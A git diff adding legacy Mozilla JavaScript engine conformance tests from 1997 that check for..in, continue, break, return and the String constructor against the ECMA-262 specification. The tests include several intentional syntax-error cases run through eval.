diff --git a/js/src/tests/ecma/Statements/12.6.3-3.js b/js/src/tests/ecma/Statements/12.6.3-3.js
new file mode 100644
index 000000000..6adb35c9f
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-3.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-3.js
+ ECMA Section: for..in loops
+ Description:
+
+ This verifies the fix to
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=112156
+ for..in should take general lvalue for first argument
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "12.6.3-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var o = {};
+
+var result = "";
+
+for ( o.a in [1,2,3] ) { result += String( [1,2,3][o.a] ); }
+
+new TestCase( SECTION,
+ "for ( o.a in [1,2,3] ) { result += String( [1,2,3][o.a] ); } result",
+ "123",
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-4.js b/js/src/tests/ecma/Statements/12.6.3-4.js
new file mode 100644
index 000000000..e56b6a6cd
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-4.js
@@ -0,0 +1,168 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+var BUGNUMBER="http://scopus.mcom.com/bugsplat/show_bug.cgi?id=344855";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+var o = new MyObject();
+var result = 0;
+
+for ( MyObject in o ) {
+ result += o[MyObject];
+}
+
+new TestCase( SECTION,
+ "for ( MyObject in o ) { result += o[MyObject] }",
+ 6,
+ result );
+
+var result = 0;
+
+for ( value in o ) {
+ result += o[value];
+}
+
+new TestCase( SECTION,
+ "for ( value in o ) { result += o[value]",
+ 6,
+ result );
+
+var value = "value";
+var result = 0;
+for ( value in o ) {
+ result += o[value];
+}
+
+new TestCase( SECTION,
+ "value = \"value\"; for ( value in o ) { result += o[value]",
+ 6,
+ result );
+
+var value = 0;
+var result = 0;
+for ( value in o ) {
+ result += o[value];
+}
+
+new TestCase( SECTION,
+ "value = 0; for ( value in o ) { result += o[value]",
+ 6,
+ result );
+
+// this causes a segv
+
+var ob = { 0:"hello" };
+var result = 0;
+for ( ob[0] in o ) {
+ result += o[ob[0]];
+}
+
+new TestCase( SECTION,
+ "ob = { 0:\"hello\" }; for ( ob[0] in o ) { result += o[ob[0]]",
+ 6,
+ result );
+
+var result = 0;
+for ( ob["0"] in o ) {
+ result += o[ob["0"]];
+}
+
+new TestCase( SECTION,
+ "value = 0; for ( ob[\"0\"] in o ) { result += o[o[\"0\"]]",
+ 6,
+ result );
+
+var result = 0;
+var ob = { value:"hello" };
+for ( ob[value] in o ) {
+ result += o[ob[value]];
+}
+
+new TestCase( SECTION,
+ "ob = { 0:\"hello\" }; for ( ob[value] in o ) { result += o[ob[value]]",
+ 6,
+ result );
+
+var result = 0;
+for ( ob["value"] in o ) {
+ result += o[ob["value"]];
+}
+
+new TestCase( SECTION,
+ "value = 0; for ( ob[\"value\"] in o ) { result += o[ob[\"value\"]]",
+ 6,
+ result );
+
+var result = 0;
+for ( ob.value in o ) {
+ result += o[ob.value];
+}
+
+new TestCase( SECTION,
+ "value = 0; for ( ob.value in o ) { result += o[ob.value]",
+ 6,
+ result );
+
+// LeftHandSideExpression:NewExpression:MemberExpression [ Expression ]
+// LeftHandSideExpression:NewExpression:MemberExpression . Identifier
+// LeftHandSideExpression:NewExpression:new MemberExpression Arguments
+// LeftHandSideExpression:NewExpression:PrimaryExpression:( Expression )
+// LeftHandSideExpression:CallExpression:MemberExpression Arguments
+// LeftHandSideExpression:CallExpression Arguments
+// LeftHandSideExpression:CallExpression [ Expression ]
+// LeftHandSideExpression:CallExpression . Identifier
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.3-5-n.js b/js/src/tests/ecma/Statements/12.6.3-5-n.js
new file mode 100644
index 000000000..2465b628b
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-5-n.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+DESCRIPTION = "more than one member expression";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "more than one member expression",
+ "error",
+ eval("var o = new MyObject(); var result = 0; for ( var i, p in this) { result += this[p]; }") );
+
+/*
+ var o = new MyObject();
+ var result = 0;
+
+ for ( var i, p in this) {
+ result += this[p];
+ }
+*/
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.3-6-n.js b/js/src/tests/ecma/Statements/12.6.3-6-n.js
new file mode 100644
index 000000000..c217f49bc
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-6-n.js
@@ -0,0 +1,75 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+DESCRIPTION = "bad left-hand side expression";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "bad left-hand side expression",
+ "error",
+ eval("var o = new MyObject(); var result = 0; for ( this in o) { result += this[p]; }") );
+/*
+ var o = new MyObject();
+ var result = 0;
+
+ for ( this in o) {
+ result += this[p];
+ }
+*/
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.3-7-n.js b/js/src/tests/ecma/Statements/12.6.3-7-n.js
new file mode 100644
index 000000000..f420ccbab
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-7-n.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+DESCRIPTION = "bad left-hand side expression";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "bad left-hand side expression",
+ "error",
+ eval("var o = new MyObject(); var result = 0; for ( \"a\" in o) { result += this[p]; } ") );
+
+/*
+ var o = new MyObject();
+ var result = 0;
+
+ for ( "a" in o) {
+ result += this[p];
+ }
+*/
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.3-8-n.js b/js/src/tests/ecma/Statements/12.6.3-8-n.js
new file mode 100644
index 000000000..c427bbf6d
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-8-n.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-8-n.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+DESCRIPTION = "bad left-hand side expression";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "bad left-hand side expression",
+ "error",
+ eval("var o = new MyObject(); var result = 0; for ( 1 in o) { result += this[p]; } ") );
+
+/*
+ var o = new MyObject();
+ var result = 0;
+
+ for ( 1 in o) {
+ result += this[p];
+ }
+*/
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.3-9-n.js b/js/src/tests/ecma/Statements/12.6.3-9-n.js
new file mode 100644
index 000000000..c356c3d79
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-9-n.js
@@ -0,0 +1,75 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-9-n.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+DESCRIPTION = "object is not defined";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "object is not defined",
+ "error",
+ eval("var o = new MyObject(); var result = 0; for ( var o in foo) { result += this[o]; } ") );
+/*
+ var o = new MyObject();
+ var result = 0;
+
+ for ( var o in foo) {
+ result += this[o];
+ }
+*/
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma/Statements/12.7-1-n.js b/js/src/tests/ecma/Statements/12.7-1-n.js
new file mode 100644
index 000000000..3a01aceab
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.7-1-n.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.7-1-n.js
+ ECMA Section: 12.7 The continue statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "12.7.1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The continue statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "continue";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "continue",
+ "error",
+ eval("continue") );
+
+test();
diff --git a/js/src/tests/ecma/Statements/12.8-1-n.js b/js/src/tests/ecma/Statements/12.8-1-n.js
new file mode 100644
index 000000000..ea8a47436
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.8-1-n.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.8-1-n.js
+ ECMA Section: 12.8 The break statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "12.8-1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The break in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "break";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "break",
+ "error",
+ eval("break") );
+
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.9-1-n.js b/js/src/tests/ecma/Statements/12.9-1-n.js
new file mode 100644
index 000000000..d47f21e9d
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.9-1-n.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.9-1-n.js
+ ECMA Section: 12.9 The return statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "12.9-1-n";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The return statement");
+
+DESCRIPTION = "return";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "return",
+ "error",
+ eval("return") );
+
+test();
diff --git a/js/src/tests/ecma/Statements/browser.js b/js/src/tests/ecma/Statements/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Statements/browser.js
diff --git a/js/src/tests/ecma/Statements/shell.js b/js/src/tests/ecma/Statements/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Statements/shell.js
diff --git a/js/src/tests/ecma/String/15.5.1.js b/js/src/tests/ecma/String/15.5.1.js
new file mode 100644
index 000000000..b5be9aabd
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.1.js
@@ -0,0 +1,100 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.1.js
+ ECMA Section: 15.5.1 The String Constructor called as a Function
+ 15.5.1.1 String(value)
+ 15.5.1.2 String()
+
+ Description: When String is called as a function rather than as
+ a constructor, it performs a type conversion.
+ - String(value) returns a string value (not a String
+ object) computed by ToString(value)
+ - String() returns the empty string ""
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The String Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String('string primitive')", "string primitive", String('string primitive') );
+new TestCase( SECTION, "String(void 0)", "undefined", String( void 0) );
+new TestCase( SECTION, "String(null)", "null", String( null ) );
+new TestCase( SECTION, "String(true)", "true", String( true) );
+new TestCase( SECTION, "String(false)", "false", String( false ) );
+new TestCase( SECTION, "String(Boolean(true))", "true", String(Boolean(true)) );
+new TestCase( SECTION, "String(Boolean(false))", "false", String(Boolean(false)) );
+new TestCase( SECTION, "String(Boolean())", "false", String(Boolean(false)) );
+new TestCase( SECTION, "String(new Array())", "", String( new Array()) );
+new TestCase( SECTION, "String(new Array(1,2,3))", "1,2,3", String( new Array(1,2,3)) );
+
+
+new TestCase( SECTION, "String( Number.NaN )", "NaN", String( Number.NaN ) );
+new TestCase( SECTION, "String( 0 )", "0", String( 0 ) );
+new TestCase( SECTION, "String( -0 )", "0", String( -0 ) );
+new TestCase( SECTION, "String( Number.POSITIVE_INFINITY )", "Infinity", String( Number.POSITIVE_INFINITY ) );
+new TestCase( SECTION, "String( Number.NEGATIVE_INFINITY )", "-Infinity", String( Number.NEGATIVE_INFINITY ) );
+new TestCase( SECTION, "String( -1 )", "-1", String( -1 ) );
+
+// cases in step 6: integers 1e21 > x >= 1 or -1 >= x > -1e21
+
+new TestCase( SECTION, "String( 1 )", "1", String( 1 ) );
+new TestCase( SECTION, "String( 10 )", "10", String( 10 ) );
+new TestCase( SECTION, "String( 100 )", "100", String( 100 ) );
+new TestCase( SECTION, "String( 1000 )", "1000", String( 1000 ) );
+new TestCase( SECTION, "String( 10000 )", "10000", String( 10000 ) );
+new TestCase( SECTION, "String( 10000000000 )", "10000000000", String( 10000000000 ) );
+new TestCase( SECTION, "String( 10000000000000000000 )", "10000000000000000000", String( 10000000000000000000 ) );
+new TestCase( SECTION, "String( 100000000000000000000 )","100000000000000000000",String( 100000000000000000000 ) );
+
+new TestCase( SECTION, "String( 12345 )", "12345", String( 12345 ) );
+new TestCase( SECTION, "String( 1234567890 )", "1234567890", String( 1234567890 ) );
+
+new TestCase( SECTION, "String( -1 )", "-1", String( -1 ) );
+new TestCase( SECTION, "String( -10 )", "-10", String( -10 ) );
+new TestCase( SECTION, "String( -100 )", "-100", String( -100 ) );
+new TestCase( SECTION, "String( -1000 )", "-1000", String( -1000 ) );
+new TestCase( SECTION, "String( -1000000000 )", "-1000000000", String( -1000000000 ) );
+new TestCase( SECTION, "String( -1000000000000000 )", "-1000000000000000", String( -1000000000000000 ) );
+new TestCase( SECTION, "String( -100000000000000000000 )", "-100000000000000000000", String( -100000000000000000000 ) );
+new TestCase( SECTION, "String( -1000000000000000000000 )", "-1e+21", String( -1000000000000000000000 ) );
+
+new TestCase( SECTION, "String( -12345 )", "-12345", String( -12345 ) );
+new TestCase( SECTION, "String( -1234567890 )", "-1234567890", String( -1234567890 ) );
+
+// cases in step 7: numbers with a fractional component, 1e21> x >1 or -1 > x > -1e21,
+new TestCase( SECTION, "String( 1.0000001 )", "1.0000001", String( 1.0000001 ) );
+
+
+// cases in step 8: fractions between 1 > x > -1, exclusive of 0 and -0
+
+// cases in step 9: numbers with 1 significant digit >= 1e+21 or <= 1e-6
+
+new TestCase( SECTION, "String( 1000000000000000000000 )", "1e+21", String( 1000000000000000000000 ) );
+new TestCase( SECTION, "String( 10000000000000000000000 )", "1e+22", String( 10000000000000000000000 ) );
+
+// cases in step 10: numbers with more than 1 significant digit >= 1e+21 or <= 1e-6
+new TestCase( SECTION, "String( 1.2345 )", "1.2345", String( 1.2345));
+new TestCase( SECTION, "String( 1.234567890 )", "1.23456789", String( 1.234567890 ));
+
+new TestCase( SECTION, "String( .12345 )", "0.12345", String(.12345 ) );
+new TestCase( SECTION, "String( .012345 )", "0.012345", String(.012345) );
+new TestCase( SECTION, "String( .0012345 )", "0.0012345", String(.0012345) );
+new TestCase( SECTION, "String( .00012345 )", "0.00012345", String(.00012345) );
+new TestCase( SECTION, "String( .000012345 )", "0.000012345", String(.000012345) );
+new TestCase( SECTION, "String( .0000012345 )", "0.0000012345", String(.0000012345) );
+new TestCase( SECTION, "String( .00000012345 )", "1.2345e-7", String(.00000012345));
+
+new TestCase( "15.5.2", "String()", "", String() );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.2.js b/js/src/tests/ecma/String/15.5.2.js
new file mode 100644
index 000000000..de065b813
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.2.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.2.js
+ ECMA Section: 15.5.2 The String Constructor
+ 15.5.2.1 new String(value)
+ 15.5.2.2 new String()
+
+ Description: When String is called as part of a new expression, it
+ is a constructor; it initializes the newly constructed
+ object.
+
+ - The prototype property of the newly constructed
+ object is set to the original String prototype object,
+ the one that is the intial value of String.prototype
+ - The internal [[Class]] property of the object is "String"
+ - The value of the object is ToString(value).
+ - If no value is specified, its value is the empty string.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The String Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "typeof new String('string primitive')", "object", typeof new String('string primitive') );
+new TestCase( SECTION, "var TESTSTRING = new String('string primitive'); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String('string primitive'); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String('string primitive')).valueOf()", 'string primitive', (new String('string primitive')).valueOf() );
+new TestCase( SECTION, "(new String('string primitive')).substring", String.prototype.substring, (new String('string primitive')).substring );
+
+new TestCase( SECTION, "typeof new String(void 0)", "object", typeof new String(void 0) );
+new TestCase( SECTION, "var TESTSTRING = new String(void 0); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(void 0); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String(void 0)).valueOf()", "undefined", (new String(void 0)).valueOf() );
+new TestCase( SECTION, "(new String(void 0)).toString", String.prototype.toString, (new String(void 0)).toString );
+
+new TestCase( SECTION, "typeof new String(null)", "object", typeof new String(null) );
+new TestCase( SECTION, "var TESTSTRING = new String(null); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(null); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
